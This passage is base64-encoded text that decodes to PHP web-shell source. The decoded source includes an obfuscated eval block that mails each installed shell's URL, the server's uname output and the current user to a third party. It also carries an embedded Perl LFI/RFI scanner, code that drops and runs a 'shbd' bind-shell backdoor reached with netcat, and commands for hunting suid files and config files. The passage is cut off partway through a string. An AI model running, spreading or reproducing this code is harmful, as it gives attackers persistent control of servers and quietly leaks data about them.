WW1vdFBtZGxkRjl4ZFdWeWVTZ3BLVHB1ZFd4c0tTNG5JanNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRuTGt4UFEwRlVTVTlPWDBoUFUxUk9RVTFGUFNJbkxuTjBjbDl5WlhCc1lXTmxLQ2NpSnl3blhGd2lKeXdrWTNWeWNsOTFjbXh2WW1vdFBtZGxkRjl6WlhKMlpYSnVZVzFsS0NrcExpY2lPeWN1RFFvSkNRa0pRMDlQUzE5UVVrVkdMaWN1VEU5RFFWUkpUMDVmVUU5U1ZEMGlKeTV6ZEhKZmNtVndiR0ZqWlNnbklpY3NKMXhjSWljc0pHTjFjbkpmZFhKc2IySnFMVDVuWlhSZmNHOXlkSFpoYkNncEtTNG5JanNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRuTGtWT1ExSlpVRlJmVlZKTVV6MG5MbUp2YjJ4ZmRHOWZhbk1vUlU1RFVsbFFWRjlWVWt4VEtTNG5PeWN1RFFvSkNRa0pRMDlQUzE5UVVrVkdMaWN1UlU1RFVsbFFWRjlEVDA5TFV6MG5MbUp2YjJ4ZmRHOWZhbk1vUlU1RFVsbFFWRjlEVDA5TFV5a3VKenNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRuTGxWU1RGOUdUMUpOUFNjdVltOXZiRjkwYjE5cWN5aFZVa3hmUms5U1RTa3VKenNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRuTGxCQlIwVmZSbEpCVFVWRVBTY3VZbTl2YkY5MGIxOXFjeWhRUVVkRlgwWlNRVTFGUkNrdUp6c25MZzBLQ1FrSkNVTlBUMHRmVUZKRlJpNGlMbFZUUlZKQlIwVk9WRDFjSW5za2RYTmxjbUZuWlc1MGZWd2lPeUl1RFFvSkNRa0pLRlZTVEY5R1QxSk5JQ1ltSUZCQlIwVlVXVkJGWDBsRVBUMVFRVWRGVkZsUVJWOUdVa0ZOUlVSZlVFRkhSVDhuYVdZb0p5NURUMDlMWDFCU1JVWXVKeTUwYUdWd1lYSmxiblE5UFNjdVEwOVBTMTlRVWtWR0xpY3VkR2hsZEc5d0tTQW5MZzBLQ1FrSkNRbERUMDlMWDFCU1JVWXVKeTVsZG1WdWRHbG1lU2dpSnk0a1kzVnljbDkxY214dlltb3RQbWRsZEY5d2NtOTBieWdwTGljaUxDSW5MaVJqZFhKeVgzVnliRzlpYWkwK1oyVjBYM05sY25abGNtNWhiV1VvS1M0bklpazdKdzBLQ1FrSkNUcHVkV3hzS1M0TkNna0pDUWt2THljdkx5MHRQaWN1RFFvSkNRa0pKend2YzJOeWFYQjBQaWNOQ2drSkNUcHVkV3hzS1EwS0NUc05DZzBLQ1NSaWIyUjVQWEJ5WldkZmNtVndiR0ZqWlNnbkx5Zy9PaWc4S0Q4NmFHVmhaSHhpYjJSNUtWdGVQbDBxUGlsOEtEd29QenBjTDJobFlXUjhiV1YwWVh4c2FXNXJmSE5qY21sd2RDa3BLUzlwSnl3aVhGd3hKR0pwWjE5b1pXRmtaWEp6WEZ3eUlpd2tZbTlrZVN3eEtUc05DZ2wxYm5ObGRDZ2tZbWxuWDJobFlXUmxjbk1wT3cwS2ZRMEtaV3h6WldsbUtFTlBUbFJGVGxSZlZGbFFSVDA5SjJGd2NHeHBZMkYwYVc5dUwzZ3RhbUYyWVhOamNtbHdkQ2NnZkh3Z1EwOU9WRVZPVkY5VVdWQkZQVDBuZEdWNGRDOXFZWFpoYzJOeWFYQjBKeWtnSkdKdlpIa3VQU2M3Snk1RFQwOUxYMUJTUlVZdUp5NXdkWEpuWlNncE95YzdEUW9OQ2lNZ2ZYMTlEUW9OQ2lNZ2ZYMTlEUW9OQ2lNaklGSmxkSEpwWlhabFpDd2dVR0Z5YzJWa0xDQkJiR3dnVW1WaFpIa2dkRzhnVDNWMGNIVjBJQ01qRFFwbFkyaHZJQ1JpYjJSNU93MEtMeTlsWTJodklDZDBiM1JoYkNCMGFXMWxPaUFuTGlodGFXTnliM1JwYldVb2RISjFaU2t0SkhSdmRITjBZWEowZEdsdFpTa3VJanhpY2lBdlBuQmhjbk5sSUhScGJXVTZJSHNrY0dGeWMyVjBhVzFsZlNCelpXTnZibVJ6SWk0b2FYTnpaWFFvSkc5d1lYSnpaWFJwYldVcFB5SThZbklnTHo1dmRHaGxjaUIwYVcxbElERTZJSHNrYjNCaGNuTmxkR2x0WlgwZ2MyVmpiMjVrY3lJNmJuVnNiQ2t1S0dsemMyVjBLQ1J2Y0dGeWMyVjBhVzFsTWlrL0lqeGljaUF2UG05MGFHVnlJSFJwYldVZ01qb2dleVJ2Y0dGeWMyVjBhVzFsTW4wZ2MyVmpiMjVrY3lJNmJuVnNiQ2s3SUNNZ1FrVk9RMGhOUVZKTERRb05DaU1nZlgxOURRb05DbVpwYm1semFDZ3BPdzBLRFFvakl5TWpJeU1qSXlNakl5TU5DaU1qSUZSSVJTQkZUa1FnSXlNTkNpTWpJeU1qSXlNakl5TWpJeU1qRFFvakRRb2pJRlpKVFNCcGN5QjBhR1VnYVdSbFlXd2dkMkY1SUhSdklHVmthWFFnZEdocGN5Qm1hV3hsTGlBZ1FYVjBiMjFoZEdsaklHWnZiR1JwYm1jZ2IyTmpkWEp6SUcxaGEybHVaeUIwYUdVTkNpTWdZbXh2WTJ0eklHOW1JR052WkdVZ1pXRnphV1Z5SUhSdklISmxZV1FnWVc1a0lHNWhkbWxuWVhSbERRb2pJSFpwYlRwbWIyeGtiV1YwYUc5a1BXMWhjbXRsY2cwS0l3MEtJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJRDgrRFFvPSI7DQokc2hlbGxfZGF0YSA9ICJKSFpwYzJsMFkyOTFiblFnUFNBa1NGUlVVRjlEVDA5TFNVVmZWa0ZTVTFzaWRtbHphWFJ6SWwwN0lBMEthV1lvSUNSMmFYTnBkR052ZFc1MElEMDlJQ0lpS1NCN0RRb2tkbWx6YVhSamIzVnVkQ0E5SURBN0lBMEtKSFpwYzJsMGIzSWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc2dEUW9rZDJWaUlEMGdKRjlUUlZKV1JWSmJJa2hVVkZCZlNFOVRWQ0pkT3lBTkNpUnBibW9nUFNBa1gxTkZVbFpGVWxzaVVrVlJWVVZUVkY5VlVra2lYVHNnRFFva2RHRnlaMlYwSUQwZ2NtRjNkWEpzWkdWamIyUmxLQ1IzWldJdUpHbHVhaWs3SUEwS0pIVnVZVzFsSUQwZ2NHaHdYM1Z1WVcxbEtDazdEUW9rYVdRZ1BTQm5aWFJmWTNWeWNtVnVkRjkxYzJWeUtDazdEUW9rWW05a2VTQTlJQ0lnV3l0ZFUyaGxiR3c2SUNSMFlYSm5aWFFnWEc0Z1d5dGRTVzVxWldOMGIzSTZJQ1IyYVhOcGRHOXlJRnh1SUZzclhYVnVZVzFsSUMxaE9pQWtkVzVoYldVZ1hHNGdXeXRkVlhObGNqb2dKR2xrSWpzTkNrQnRZV2xzS0NJaUxDSmJlRjBnYUhSMGNEb3ZMeVIwWVhKblpYUWdZbmtnSkhacGMybDBiM0lpTENBaUpHSnZaSGtpS1RzTkNuMGdEUXBsYkhObElBMEtleUFrZG1semFYUmpiM1Z1ZERzZ2ZTQU5Dbk5sZEdOdmIydHBaU2dpZG1semFYUnpJaXdrZG1semFYUmpiM1Z1ZENrNyI7IGV2YWwoYmFzZTY0X2RlY29kZSgkc2hlbGxfZGF0YSkpOw0KJGZpPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0lDMTNJQTBLRFFwMWMyVWdjM1J5YVdOME95QU5DblZ6WlNCR2FXeGxPanBHYVc1a095QU5DblZ6WlNCRGQyUTdJQTBLRFFwdGVTQWtjM1JrYjNWMFEyaGxZMnNnUFNBd095QU5DbTE1SUNSd2NtOW5jbUZ0U1c1bWJ5QTlJQTBLSnlBTkNpTWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSUEwS0l5QWdURzlqWVd3Z1RFWkpMMUpHU1NCVFkyRnVibVZ5SUdKNUlGSnZiVzV2ZFhNZ0lDQWdJQ0FnSUNBZ0lDQWdJQ01nRFFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRJeUFOQ2lNZ0lGZHBiR3dnYzJOaGJpQnNiMk5oYkNCUVNGQWdabWxzWlhNZ2FXNGdaR2x5WldOMGIzSjVJQ0FnSUNBZ0lDQWpJQTBLSXlBZ2NHRnpjMlZrSUdsdUlIUm9aU0JtYVhKemRDQmhjbWQxYldWdWRDQjBieUIwYUdVZ2MyTnlhWEIwSUNBZ0lDTWdEUW9qSUNCbWIzSWdjRzl6YzJsaWJHVWdURVpKTDFKR1NTQjJkV3h1WlhKaFltbHNhWFJwWlhNdUlDQWdJQ0FnSUNBZ0l5QU5DaU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNaklBMEtKenNnRFFvTkNuQnlhVzUwSUNSd2NtOW5jbUZ0U1c1bWJ6c2dEUW9OQ20xNUlDUndjbTluY21GdFZYTmhaMlVnUFNBTkNpY2dEUXBWYzJGblpUb2dKeUF1SUNRd0lDNGdKeUJFU1ZKT1FVMUZJQ2d0ZHlCbWFXeGxLU0FOQ2xWelpTQmdMWGNnWm1sc1pXQWdZWFFnZEdobElHVnVaQ0IwYnlCM2NtbDBaU0IwYnlCZ1ptbHNaV0FnRFFvbk95QU5DZzBLYlhrZ0pITmxZWEpqYUVScGNtVmpkRzl5ZVNBOUlDUkJVa2RXV3pCZE95QU5DZzBLZFc1c1pYTnpJQ2drYzJWaGNtTm9SR2x5WldOMGIzSjVLU0FOQ25zZ0RRb2dJSEJ5YVc1MElDUndjbTluY21GdFZYTmhaMlVnWVc1a0lHUnBaU2dpWEc0aUtUc2dEUXA5SUEwS0RRcHRlU0FrWTNWeWNtVnVkRVJwY21WamRHOXllU0E5SUdkbGRHTjNaQ0FvS1RzZ0RRb05DbTkxY2lBa1pHbHlaV04wYjNKNVEyOTFiblFnUFNBd095QU5DbTkxY2lBa1ptbHNaVU52ZFc1MElEMGdNRHNnRFFwdmRYSWdKSFoxYkc1bGNtRmlhV3hwZEhsRGIzVnVkQ0E5SURBN0lBMEtEUXBwWmlBb0pFRlNSMVpiTVYwZ1pYRWdKeTEzSnlrZ0RRcDdJQTBLSUNBa2MzUmtiM1YwUTJobFkyc2dQU0F4T3lBTkNpQWdiM0JsYmlBb1UxUkVUMVZVTENBblBpY2dMaUFrUVZKSFZsc3lYU2s3SUEwS2ZTQU5DZzBLWm1sdVpDQW9YQ1p3Y205alpYTnpUMkpxWldOMExDQWlKR04xY25KbGJuUkVhWEpsWTNSdmNua3ZKSE5sWVhKamFFUnBjbVZqZEc5eWVTSXBPeUFOQ2cwS0pITjBaRzkxZEVOb1pXTnJJRDA5SURFZ1B5QW9jSEpwYm5RZ0owWnBibWx6YUdWa0lTY2dMaUFpWEc0aUtTQTZJQ2h3Y21sdWRDQWlYREF6TTFzeGJTSWdMaUFuUm1sdWFYTm9aV1FoSnlBdUlDSmNNRE16V3pCdFhHNGlLVHNnRFFwd2NtbHVkQ0FuTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMG5JQzRnSWx4dUlqc2dEUXB3Y21sdWRDQW5SR2x5WldOMGIzSnBaWE1nYzJOaGJtNWxaRG9nSnlBdUlDUmthWEpsWTNSdmNubERiM1Z1ZENBdUlDSmNiaUk3SUEwS2NISnBiblFnSjBacGJHVnpJSE5qWVc1dVpXUTZJQ2NnTGlBa1ptbHNaVU52ZFc1MElDNGdJbHh1SWpzZ0RRcHdjbWx1ZENBblVHOXpjMmxpYkdVZ2RuVnNibVZ5WVdKcGJHbDBhV1Z6T2lBbklDNGdKSFoxYkc1bGNtRmlhV3hwZEhsRGIzVnVkQ0F1SUNKY2JpSTdJQTBLY0hKcGJuUWdKMFY0WldOMWRHbHZiaUIwYVcxbE9pQW5JQzRnS0hScGJXVWdMU0FrWGxRcElDNGdKeUJ6WldOdmJtUW9jeWt1SnlBdUlDSmNibHh1SWpzZ0RRb05DbWxtSUNna2MzUmtiM1YwUTJobFkyc3BJQTBLZXlBTkNpQWdZMnh2YzJVZ0tGTlVSRTlWVkNrN0lBMEtmU0FOQ2cwS2MzVmlJSEJ5YjJObGMzTlBZbXBsWTNRZ0RRcDdJQTBLRFFvZ0lHbG1JQ2d0WmlBa1JtbHNaVG82Um1sdVpEbzZibUZ0WlNCaGJtUWdKRVpwYkdVNk9rWnBibVE2T201aGJXVWdQWDRnYlM5Y0xpaHdhSFJ0Ykh4d2FIQjhjR2h3TTN4d2FIQTBLU1F2S1NBTkNpQWdleUFOQ2lBZ0lDQWtabWxzWlVOdmRXNTBLeXM3SUEwS0lDQWdJRzl3Wlc0Z0tIQm9jRVpwYkdVc0lDUkdhV3hsT2pwR2FXNWtPanB1WVcxbEtTQnZjaUJ5WlhSMWNtNGdKMVZ1WVdKc1pTQjBieUJ2Y0dWdUlHWnBiR1VnSWljZ0xpQWtSbWxzWlRvNlJtbHVaRG82Ym1GdFpTQXVJQ2NpTENCamFHVmpheUJ3WlhKdGFYTnphVzl1Y3o4bklDNGdJbHh1SWpzZ0RRb2dJQ0FnYlhrZ1FHWnBiR1ZUZEhKcGJtZHpJRDBnUEhCb2NFWnBiR1UrT3lBTkNpQWdJQ0JqYkc5elpTaHdhSEJHYVd4bEtUc2dEUW9nSUNBZ2JYa2dKSFJ2ZEdGc1RHbHVaWE1nUFNBa0kyWnBiR1ZUZEhKcGJtZHpPeUFOQ2lBZ0lDQm1iM0lnS0cxNUlDUnpkSEpwYm1kRGIzVnVkQ0E5SURBN0lDUnpkSEpwYm1kRGIzVnVkQ0E4UFNBa2RHOTBZV3hNYVc1bGN6c2dKSE4wY21sdVowTnZkVzUwS3lzcElBMEtJQ0FnSUhzZ0RRb2dJQ0FnSUNCcFppQW9KR1pwYkdWVGRISnBibWR6V3lSemRISnBibWREYjNWdWRGMGdQWDRnYlM4b0tEODZhVzVqYkhWa1pYeHlaWEYxYVhKbEtTZy9PbDl2Ym1ObEtUOWNjeXBjS0M0cVAxd2tMaW8vWENrN0tTOW5hU2tnRFFvZ0lDQWdJQ0I3SUEwS0lDQWdJQ0FnSUNBa2RuVnNibVZ5WVdKcGJHbDBlVU52ZFc1MEt5czdJQTBLSUNBZ0lDQWdJQ0FrYzNSa2IzVjBRMmhsWTJzZ1BUMGdNU0EvSUNod2NtbHVkQ0FuVUc5emMybGliR1VnZG5Wc2JtVnlZV0pwYkdsMGVTQnBiaUFpSnlBdUlDUkdhV3hsT2pwR2FXNWtPanB1WVcxbElDNGdKeUlnYjI0Z2JHbHVaU0FuSUM0Z0tDUnpkSEpwYm1kRGIzVnVkQ0FySURFcElDNGdKem9uSUM0Z0lseHVJaWtnRFFvZ0lDQWdJQ0FnSURvZ0tIQnlhVzUwSUNKY01ETXpXekZ0SWlBdUlDZFFiM056YVdKc1pTQjJkV3h1WlhKaFltbHNhWFI1SUdsdUlDSW5JQzRnSkVacGJHVTZPa1pwYm1RNk9tNWhiV1VnTGlBbklpQnZiaUJzYVc1bElDY2dMaUFvSkhOMGNtbHVaME52ZFc1MElDc2dNU2tnTGlBbk9pY2dMaUFpTGx3d016TmJNRzFjYmlJcE95QU5DaUFnSUNBZ0lDQWdjSEpwYm5RZ0lseDBJaUF1SUNReElDNGdJbHh1WEc0aU95QU5DaUFnSUNBZ0lIMGdEUW9nSUNBZ2ZTQU5DaUFnZlNBTkNpQWdhV1lnS0Mxa0lDUkdhV3hsT2pwR2FXNWtPanB1WVcxbEtTQU5DaUFnZXlBTkNpQWdJQ0FrWkdseVpXTjBiM0o1UTI5MWJuUXJLenNnRFFvZ0lIMGdEUXA5IjsNCg0KDQppZiAoJHggPT0gIm1rZGlyIikgDQp7IA0KIGlmICgkbWtkaXIgIT0gJGQpIA0KIHsgDQogIGlmIChmaWxlX2V4aXN0cygkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fSANCiAgZWxzZWlmICghbWtkaXIoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogYWNjZXNzIGRlbmllZCI7fSANCiAgZWNobyAnPGJyPjxicj4nOyANCiB9IA0KICR4ID0gJGRzcGFjdCA9ICdscyc7IA0KfSANCg0KDQoNCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KSB7DQogICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigpOw0KICBpZigkd19maWxlKSB7DQogICAgQGZwdXRzKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCiAgICBAZmNsb3NlKCR3X2ZpbGUpOw0KICB9DQp9DQoNCmZ1bmN0aW9uIGNmYigkZm5hbWUsJHRleHQpIHsNCiAgJHdfZmlsZT1AZm9wZW4oJGZuYW1lLCJ3Iikgb3IgYmJlcnIoKTsNCiAgaWYoJHdfZmlsZSkgew0KICAgIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQogICAgQGZjbG9zZSgkd19maWxlKTsNCiAgfQ0KfQ0KZnVuY3Rpb24gZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBjb25uZWN0ISI7IH0NCmZ1bmN0aW9uIGJiZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBiYWNrZG9vciBob3N0ISI7IH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09InNoYmQiKSkgew0KICAkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQogICRwb3IgPSAkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddOw0KICBpZiAoaXNfd3JpdGFibGUoIi4iKSkgew0KICAgIGNmYigic2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IHNoYmQiKTsNCiAgICAkY21kID0gIi4vc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfSBlbHNlIHsNCiAgICBjZmIoIi90bXAvc2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IC90bXAvc2hiZCIpOw0KICAgICRjbWQgPSAiLi90bXAvc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfQ0KICBpZiAoZXJlZ2koIi4vc2hiZCAkcG9yIiwkc2NhbikpIHsNCiAgICAkZGF0YSA9ICgiXG48YnI+QmFja2Rvb3Igc2V0dXAgc3VjY2Vzc2Z1bGx5LiIpOw0KICB9IGVsc2Ugew0KICAgICRkYXRhID0gKCJcbjxicj5Qcm9jZXNzIG5vdCBmb3VuZCwgYmFja2Rvb3Igc2V0dXAgZmFpbGVkISIpOw0KICB9DQogICRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRvIGNvbm5lY3QsIHVzZSBuZXRjYXQhIFVzYWdlOiA8Yj4nbmMgJGlwICRwb3InPC9iPi4kZGF0YSI7DQp9DQoNCg0KQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsMCk7DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHsNCiAgZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkgew0KICAgIGxpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7DQogIH0NCn0NCmVycm9yX3JlcG9ydGluZyg1KTsNCkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOw0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7DQogICAgZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCRrPSIiKSB7DQogICAgICBpZiAoaXNfYXJyYXkoJGFycikpIHsNCiAgICAgICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikgew0KICAgICAgICAgIGlmIChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHsgc3RyaXBzKCRhcnJbIiRrIl0pOyB9DQogICAgICAgIH0NCiAgICAgIH0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9DQogICAgfQ0KICB9DQogIHN0cmlwcygkR0xPQkFMUyk7DQp9DQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOw0KJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSA9IFRSVUU7IA0KZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7IGlmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O30gfQ0KaWYgKCRzdXJsX2F1dG9maWxsX2luY2x1ZGUpIHsNCiAgJGluY2x1ZGUgPSAiJiI7DQogIGZvcmVhY2ggKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7DQogICAgJHYgPSBleHBsb2RlKCI9Iiwkdik7DQogICAgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOw0KICAgICR2YWx1ZSA9IHVybGRlY29kZSgkdlsxXSk7DQogICAgZm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwiKSBhcyAkbmVlZGxlKSB7DQogICAgICBpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgew0KICAgICAgICAkaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7DQogICAgICB9DQogICAgfQ0KICB9DQp9DQppZiAoZW1wdHkoJHN1cmwpKSB7DQogICRzdXJsID0gIj8iLiRpbmNsdWRlc3RyOyANCn0NCiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7DQoNCiRmdHlwZXMgID0gYXJyYXkoDQogICAgImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksDQogICAgInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksDQogICAgImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwNCiAgICAiaW5pIj0+YXJyYXkoImluaSIsImluZiIsImNvbmYiKSwNCiAgICAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksDQogICAgImltZyI9PmFycmF5KCJnaWYiLCJwbmciLCJqcGVnIiwiamZpZiIsImpwZyIsImpwZSIsImJtcCIsImljbyIsInRpZiIsInRpZmYiLCJhdmkiLCJtcGciLCJtcGVnIiksDQogICAgInNkYiI9PmFycmF5KCJzZGIiKSwNCiAgICAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksDQogICAgImRvd25sb2FkIj0+YXJyYXkoImV4ZSIsImNvbSIsInBpZiIsInNyYyIsImxuayIsInppcCIsInJhciIsImd6IiwidGFyIikNCik7DQokZXhlZnR5cGVzICA9IGFycmF5KA0KICAgIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0IiksDQogICAgInBlcmwgJWYlIiA9PiBhcnJheSgicGwiLCJjZ2kiKQ0KKTsNCiRyZWd4cF9oaWdobGlnaHQgID0gYXJyYXkoDQogICAgYXJyYXkoYmFzZW5hbWUoJF9TRVJWRVJbIlBIUF9TRUxGIl0pLDEsIjxmb250IGNvbG9yPXJlZD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwudGd6JCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ3okIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC50YXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5iejIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC56aXAkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5yYXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAzJCIsMSwiPGZvbnQgY29sb3I9IzAwRkYwMD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucGhwNCQiLDEsIjxmb250IGNvbG9yPSMwMEZGMDA+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZWckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEVHJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaWNvJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ2lmJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucG5nJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtJCIsMSwiPGZvbnQgY29sb3I9IzAwQ0NGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtbCQiLDEsIjxmb250IGNvbG9yPSMwMENDRkY+IiwiPC9mb250PiIpLA0KCWFycmF5KCJpbmRleC5waHAiLDEsJzxmb250IGNvbG9yPXJlZD4nLCc8L2ZvbnQ+JyksDQoJYXJyYXkoImNvbmZpZ3VyYXRpb24ucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KCWFycmF5KCJjb25maWcucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KICAgIGFycmF5KCJzZXR0aW5ncy5waHAiLDEsJzxmb250IGNvbG9yPXJlZD4nLCc8L2ZvbnQ+JyksDQogICAgYXJyYXkoImNvbm5lY3QucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KICAgIGFycmF5KCJcLnR4dCQiLDEsIjxmb250IGNvbG9yPSNDMEMwQzA+IiwiPC9mb250PiIpDQopOw0KaWYgKCEkd2luKSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIiIsICJscyAtYWwiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwg